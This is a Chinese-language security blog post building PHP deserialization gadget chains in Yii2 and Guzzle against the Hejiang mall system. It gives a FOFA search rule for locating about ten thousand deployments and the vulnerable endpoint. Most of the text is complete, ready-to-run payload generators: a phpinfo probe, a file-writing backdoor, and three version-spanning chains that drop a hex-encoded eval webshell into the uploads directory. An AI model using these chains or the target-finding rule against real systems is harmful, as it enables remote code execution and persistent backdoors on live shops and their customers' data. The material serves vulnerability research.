0x00 前言

禾匠商城是基本yii2.0.21开发的一套商城系统

在网上使用的也比较多,其fofa搜索规则为,数量接近一万

  • body="const _scriptUrl"

api/testOrderSubmit/index/preview方法一直存在反序列化的问题

但是由于不同版本之间的利用链变化很大,所以想找一下比较通用的

那必然就要基于yii的核心框架,之前写的链太多基于faker的,这里不存在这个扩展

0x01 原利用链

作者给的利用链

  • 作者的测试环境是4.2.37

探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close = "phpinfo";
}
}

namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
}

namespace {
use yii\db\BatchQueryResult;
echo urlencode(serialize(new BatchQueryResult()));
}

写文件的利用链,生成的文件名字是xxxx?charset=334.php,名字中含有特殊字符,所以只能在linux下用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

namespace Alipay {
class AlipayRequester {
public $callback = "file_put_contents";
public $gateway = "xxxx";
public $charset = "334.php";
}
}

namespace yii\rest {
use Alipay\AlipayRequester;
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess=[(new AlipayRequester),"execute"];
$this->id='<?php $a="fwrite";$h = fopen($_REQUEST[f], "a");$a($h, htmlspecialchars_decode(htmlspecialchars_decode($_REQUEST[c])));';
}
}
}

namespace yii\web {
use yii\rest\IndexAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct() {
$this->writeCallback=[(new IndexAction),"run"];
$this->fields['1'] = 'aaa';
}

}
}

namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new DbSession();
}
}
}

namespace {
use yii\db\BatchQueryResult;
echo urlencode(serialize(new BatchQueryResult()));
}
?>

实际上后面的版本针对

FnStreamBatchQueryResult类都做了防止反序列化的处理

会直接爆出异常,这大概就是漏洞点一直不修,一直在补利用链的原因

0x02 代码执行利用链

实际上针对FnStream在很早之前就说过

这个类只是不能在做入口了,但是当成中间的节点完全不成问题

禾匠低版本

首先入口点采用BatchQueryResult

1658474076124

任意调用close方法

这里选的close方法自然就是,此时的调用不存在参数

1658474132458

在yii中存在一个很好的过度的点就是IndexAction类的run方法

1658474368058

现在就是存在了一个单参数的任意调用,之前用的那个类的代码执行,在这里的低版本不存在那个类

所以重新选择了View类

这是yii的base里面的,一般都会存在

1658474482947

最终的利用链就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace yii\base{
class View{}
}

namespace yii\rest {
use yii\base\View;
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess=[new View(),'evaluateDynamicContent'];
$this->id="file_put_contents('uploads/hejiang_1234.php',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();";
}
}
}

namespace GuzzleHttp\Psr7{
use yii\rest\IndexAction;
class FnStream{
private $method;
public function __construct()
{
$this->method = [
"close"=>[new IndexAction(),'run'],
];
foreach ($this->method as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
}
}

namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
}


namespace {
use yii\db\BatchQueryResult;
echo urlencode(serialize(new BatchQueryResult()));
}

由于在后面的版本中BatchQueryResult类不能用了

全版本的代码执行

这是我们需要重新找的只有入口

这里既然存在guzz

直接以guzz的FileCookieJar类为入口,重写利用链,这里的file_put_contents不太好控制内容

1658474767228

当作跳板直接触发__toString

自然还是FnStream类的方法,接下来就和上面一样了

最终的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
namespace yii\base{
class View{}
}

namespace yii\rest {
use yii\base\View;
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess=[new View(),'evaluateDynamicContent'];
$this->id="file_put_contents('uploads/hejiang_1234.php',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();";
}
}
}

namespace GuzzleHttp\Psr7{
use yii\rest\IndexAction;
class FnStream{
private $method;
public function __construct()
{
$this->method = [
"__toString"=>[new IndexAction(),'run'],
];
foreach ($this->method as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
}
}

namespace GuzzleHttp\Cookie{
use GuzzleHttp\Psr7\FnStream;
class FileCookieJar{
private $filename;
private $storeSessionCookies;
public function __construct()
{
$this->filename = new FnStream();
$this->storeSessionCookies = 1;
}
}
}

namespace {
use GuzzleHttp\Cookie\FileCookieJar;
$exception = new FileCookieJar();
echo urlencode(serialize($exception));
}

修改节点

针对IndexAction的修改

如果这个方法不能用的话,还存在什么方式可以过度一下呢

那么我们现在有一个任意调用的点,但是这个点未传任何参数

这里有两个子类存在相同的方法

看一下ArrayDataProvider

1658475474599

这里就很明显,key是可控的,传入的model也必须可控

继续向上追踪,但是这里的条件需要注意,我们的models和key参数不能为null,所以前面的条件必须为true

1658475580379

forcePrepare为true的时候会对models进行处理

看看prepareModels方法,可以看到models参数取自allmodels

1658475776678

下面箭头处的两个方法不能进去,不然完全可控的参数就被污染了

而这两个方法也很给力

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function getPagination()
{
if ($this->_pagination === null) {
$this->setPagination([]);
}

return $this->_pagination;
}

public function getSort()
{
if ($this->_sort === null) {
$this->setSort([]);
}

return $this->_sort;
}

但是很明显的一点就是,肯定不能用之前的无参的任意调用

因为forcePrepare的默认值为false,而我们需要它是true

找到Command核心类的一个prepare方法,为了不找麻烦,直接不满足&&前面的条件,后面就不进了

那么我们需要forRead为false

1658476159884

那么关键就是两个方法,可以看到只有pdo不是null就可以,正好设置成之前的ArrayDataProvider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getTransaction()
{
return $this->_transaction && $this->_transaction->getIsActive() ? $this->_transaction : null;
}
public function getIsActive()
{
return $this->pdo !== null;
}

#--------------------------------------------
public function getMasterPdo()
{
$this->open();
return $this->pdo;
}

自此整个链条就出来了

有点小长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
namespace yii\base{
class View{}
}

namespace yii\data{
use yii\base\View;
class ArrayDataProvider extends BaseDataProvider{
public $allModels;
public $key;
public function __construct(){
$this->allModels = array("file_put_contents('uploads/hejiang_1234.php',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();");
$this->key = [new View(),'evaluateDynamicContent'];
}
}
abstract class BaseDataProvider{
private $_sort = false;
private $_pagination = false;
}
}

namespace yii\db{
use yii\data\ArrayDataProvider;
class Command{
private $_sql = true;
public $pdoStatement = false;
public $db;
public function __construct(){
$this->db = new Connection();
}
}
class Connection{
public $pdo;
private $_transaction;
public function __construct(){
$this->pdo = new ArrayDataProvider();
$this->_transaction = $this;
}
}
}

namespace GuzzleHttp\Psr7{
use yii\db\Command;
class FnStream{
private $method;
public function __construct()
{
$this->method = [
"__toString"=>[new Command(),'prepare'],
];
foreach ($this->method as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
}
}

namespace GuzzleHttp\Cookie{
use GuzzleHttp\Psr7\FnStream;
class FileCookieJar{
private $filename;
private $storeSessionCookies;
public function __construct()
{
$this->filename = new FnStream();
$this->storeSessionCookies = 1;
}
}
}

namespace {
use GuzzleHttp\Cookie\FileCookieJar;
$exception = new FileCookieJar();
echo urlencode(serialize($exception));
}

0x03 end